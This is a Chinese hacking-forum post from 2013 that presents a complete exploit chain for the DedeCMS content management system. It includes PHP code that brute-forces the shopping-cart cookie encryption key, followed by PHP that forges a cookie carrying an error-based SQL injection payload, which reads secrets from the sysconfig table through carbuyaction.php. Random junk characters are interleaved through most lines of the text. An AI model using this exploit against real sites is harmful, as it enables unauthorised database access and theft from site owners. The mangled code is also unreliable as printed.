找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2277|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
6 k) x& g$ M6 i: D7 D: `  v在 include/shopcar.class.php中: P; q8 y1 ^  R- X: j2 y. F" _
先看一下这个shopcar类是如何生成cookie的
7 B5 g4 h+ \0 Z$ o0 p8 Q  A239      function saveCookie($key,$value)1 c" y7 c) ~2 o3 M. \4 T, ~
240      {
9 v( O) ^- {  M, m' g241          if(is_array($value))( B/ x2 _8 ~5 N
242          {- W5 {; A! `' C! u. [1 ~
243              $value = $this->enCrypt($this->enCode($value));$ y& P" ^, ?# E! @
244          }
1 v$ n8 B- S5 {# Y245          else
/ h& K6 M9 ~5 Y7 N2 P4 B* c246          {
' _8 P5 w) Y& h/ q9 _+ t" h6 f5 e247              $value = $this->enCrypt($value);0 m1 E5 u: x, l0 l
248          }
  C) p& v- Q2 H8 M/ a' _1 i249          setcookie($key,$value,time()+36000,’/');2 u# H: t7 r/ q$ u
250      }% W( {" V! \; G8 p0 I+ h
简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数4 y4 y2 U! c3 Q1 _5 Q5 E
186      function enCrypt($txt)
5 d, k  P1 V' p8 T6 |187      {( }' @9 O3 L3 J
188          srand((double)microtime() * 1000000);
2 G# q' ^2 b) Y$ M, z( F; J0 _9 k189          $encrypt_key = md5(rand(0, 32000));/ V  F! t& u2 l& h! [1 Z
190          $ctr = 0;) y% e4 b2 ^0 x( A* A
191          $tmp = ”;5 E% l/ g) ~: q3 g! j: Q6 C# m9 Q
192          for($i = 0; $i < strlen($txt); $i++)
5 S- k2 a6 {+ X) H. j193          {
& f0 z0 ^8 c) ~1 x1 |194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
# ?) [7 m- l  q) I195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
- w$ Y& s2 _5 y196          }8 N+ I9 f! P  C( `' Q
197          return base64_encode($this->setKey($tmp));
$ x# o$ {  C9 J# Z1 h3 l5 m+ a) u) P198      }# ^" \4 ~% c3 a: E4 F: T  r$ w
213      function setKey($txt), F$ c& [- T5 v  Z
214      {
. y: q$ e5 r& I! ^215          global $cfg_cookie_encode;: D1 u. J, U- a! {+ C
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
: e0 w1 _! `/ t* m8 M217          $ctr = 0;" y8 e/ W4 H: `
218          $tmp = ”;! V9 a$ O! [# Y, T" E
219          for($i = 0; $i < strlen($txt); $i++)) m+ Z8 c9 h% p* x4 z7 Q
220          {5 [$ i* g/ K. ~
221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;- N1 M" q, U) H/ [
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];6 q$ Z$ u' }+ v
223          }9 o9 r" S( X1 i$ O. B
224          return $tmp;
8 j% D6 U6 I. t225      }
( Z8 H/ @; g: z' e* P. f6 henCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
4 `/ W: J: v3 [" ~然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
6 y4 I8 H! {% w具体代码如下:  K5 q3 K* T2 Q7 \3 \# E) s! `1 P
<?php
" k! M! s& S; O$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
0 Y8 X/ d  u( P; \' V$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
4 _2 w% l+ {; s) k! f* S. q$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
; q' Z2 Z" n- R9 j9 }function reStrCode($code,$string)
/ ?" S, \, \$ ?' ~6 f{
4 [, D0 f/ k, c' ~" E$code = base64_decode($code);
/ L: S- {+ K6 y$key = “”;
* o) G, F% c# p3 a9 |: P8 V4 yfor($i=0 ; $i<32 ; $i++)
6 `# T+ }; t8 u! u& r{$ ~" J4 U: d3 U
$key .= $string[$i] ^ $code[$i];
8 @2 d, H* r; o4 |}
' x9 ?) R1 S( i: treturn $key;
5 `: F4 L6 O, ~1 r}9 R) H3 t8 e3 i+ z( l5 N
function getKeys($cookie,$plantxt)
( ]8 n$ ~  z; V! z" M: ]{; r+ S/ T* e0 @% p( U
$tmp = $cookie;' @) e2 m  y% O+ |
$results = array();
2 o9 v- t6 i5 R$ A) Kfor($j=0 ; $j < 32000; $j++)
2 n+ C) q$ z9 C) \7 }{4 F0 ?  a7 O2 s; f) k! y0 L

" g8 ~8 B0 E' \4 f4 ~$txt = $plantxt;4 B- s  j1 k3 [) I$ S! }- M! m
$ctr = 0;
3 I1 f6 |+ a. Q2 }; H( B$tmp = ”;
/ b8 m9 N6 i5 }9 R, K; N$encrypt_key = md5($j);
- D9 M0 ~& s  T: B9 d5 ?" a. b3 @& efor($i =0; $i < strlen($txt); $i ++)
) J4 ]0 i7 H2 \5 [, Q8 B4 D1 }1 D{
7 {1 p$ L. P2 X. d! I. {6 ~$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
6 I9 ?/ \( \! u  D) x$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
2 s8 `1 b3 i- y# z) H}
* b9 `3 f8 T* K% e$string = $tmp;
6 a' u' Y" L! C$ Z$ n' Z) h$code = $cookie;
+ m+ Q' D) g& o- M9 u- S2 `$result = reStrCode($code,$string);
9 ?8 d$ g- M# s: V$ x- ~if(eregi(‘^[a-z0-9]+$’,$result))
- d  z) F' ~3 k# V- I, E: e{2 ]) z% u" q3 X
echo $result.”\n”;$ i6 P0 S' n6 ?2 P
$results[] = $result;
9 C( F5 u6 Q/ Y: _}
6 {! R: B! w0 a" ?) ]$ Y' s7 _}
' q! V2 ]( a. H9 k/ u: P2 mreturn $results;
! Q# A# g5 k$ H* l, t}- `8 l1 A" |& Y" G5 {$ ^
$results1 = getKeys($cookie1,$plantxt);6 G) K' y+ X4 o+ x" R$ _
$results2 = getKeys($cookie2,$plantxt);
2 \9 \8 u0 y) Qprint “\n——————–real key————————–\n”;
( e3 w- R) H2 C0 N) V% p/ vforeach($results1 as $test1)
. ]5 |. `7 n8 b8 m" r+ F' s{
; b, o3 F4 N( R# _, d; ]foreach($results2 as $test2)
0 J2 c) Y" y% a' b9 w- _{$ J) a( \" h' J
if($test1 == $test2)/ [6 a, ~' N2 {
{
, t) `- S  X4 r  v3 eecho $test1.”\n”;
) \% _8 @  f5 y0 N% ?}
# h9 R: q% G! T$ S3 M; U  x) v; _5 K}9 D' m! ]! @! r2 h' G  ]& x
}
1 @9 q  q5 T* T# t+ \?>; p+ X/ j% R. W9 q
cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,* v# B1 T& S6 t& p# Z
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
" r8 U+ D. V; U6 l$ `$ r然后推算出md5(strtolower($cfg_cookie_encode))* A: m6 s* C8 T' t% h
得到这个key之后,我们就可以构造任意购物车的cookie
: B' T2 i6 N# X接着看
# p' r2 B; w4 q. {: f20  class MemberShops# o8 l- E( I+ K0 f% e; m
21  {
/ C  O8 F: c8 ?22      var $OrdersId;, J3 c. R# F  T( i! k
23      var $productsId;
8 n6 H7 g% O& W8 D6 U# U" n- ]24
1 z8 |0 E8 p0 {! T3 J) }5 B25      function __construct()* A& p! l4 M) w
26      {
8 Y4 a2 T- ?3 a; O3 F- s8 V27          $this->OrdersId = $this->getCookie(“OrdersId”);, u, ]: B( @8 b) F# a( W! w- z
28          if(empty($this->OrdersId))
0 q: w' Y  X7 g# e9 {( |29          {% ?6 E; ?: g1 @4 @% V& B: j+ L
30              $this->OrdersId = $this->MakeOrders();
* h: a$ U' [3 x31          }+ s4 Q, g/ V. v& \1 d' c
32      }
" h6 i' t* J9 g3 m+ {" r& j发现OrderId是从cookie里面获取的6 h+ N6 O+ Q4 e# i$ w; ]4 w
然后8 {4 s( L, i+ S2 |" M
/plus/carbuyaction.php中的  Y7 t& q' V" r7 w* M! \; G
29      $cart    = new MemberShops();: V, d" y$ T. Z% E/ g
39      $OrdersId = $cart->OrdersId;        //本次记录的订单号8 c% h/ U) G; [! ^8 v
……
- p! a. t, u& n  r6 h9 U3 f173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);1 {: B* L! k- D0 e9 o; g7 a! ?4 [
接着我们就可以注入了
8 H, ?# B, y" k0 f* y通过利用下面代码生成cookie:
3 x; Z( D# }7 Q4 }- |<?php
. w$ K: ]( F' y/ Z$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;& T1 p4 a$ G  z& x4 r( J. Q
$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here$ L. Y+ m, M' _1 e+ ?
function setKey($txt); B' T* o, G0 Q6 u2 S
{0 Z' F/ e+ U% |, i+ V
global $encrypt_key;
7 Y0 F, Z+ n5 a  M+ m: B! o3 N5 b$ctr = 0;1 b: v& o* \2 a3 |/ M; `
$tmp = ”;
5 ?0 W0 F$ ~1 X; n0 Yfor($i = 0; $i < strlen($txt); $i++)5 o) V: S/ \$ s. h2 ^1 E
{
$ {# H$ l) M( p$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;8 z; P7 S" N" X* ~8 `6 y
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];6 ~' m7 k8 a9 q, K! {* l7 _/ _
}
1 S3 V% m) N$ Breturn $tmp;
! X4 K" @/ X. O8 Q8 T}
( l. T% _. N. G* k' A) P! Vfunction enCrypt($txt)
& u7 m: c) R& a; k% E2 q. C{; Z5 I  N* \3 P/ l6 p: M) j+ j3 G' e
srand((double)microtime() * 1000000);
. _8 d/ N% W* D5 D! z6 H. b$encrypt_key = md5(rand(0, 32000));
1 B5 k5 Y# C) h7 Q+ {$ctr = 0;
3 d; R0 O0 V) T# l/ r/ o$tmp = ”;+ w/ w5 G- J8 F: ]( L: {
for($i = 0; $i < strlen($txt); $i++)
5 p. @3 [4 l8 n* L{
( s8 P3 \( Q8 k8 K; W9 d$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$ ]+ U8 h+ Q5 \8 I% Y$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);+ ?$ T/ S; c7 k. B3 U# `8 v! b
}
; n# C2 Q8 P5 s% R  n" rreturn base64_encode(setKey($tmp));3 F  j+ V' n: _$ i
}
* K/ G0 n" k/ p3 t! Vfor($dest =0;$dest = enCrypt($txt);)
% j. b2 s0 N; f$ W0 y/ [. X# b% E{
! O7 U) L5 o& s' c3 i& I: b' Aif(!strpos($dest,’+'))
: w4 j( i; e. a& m+ W{
4 ^( I" W7 V5 u" q1 ]9 [7 `0 Q# wbreak;
1 S6 j; @- z, t" q5 j}' i* J$ C" u0 C6 T5 E" C
}
* E' r, V, \+ B2 N' o+ o4 D9 m$ kecho $dest.”\n”;
( C! y( Q7 W4 S; v, ?+ E, j+ ~?>
2 w1 I: u  w8 o
6 m/ x2 J' s: j' g; H, y: A) y​
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表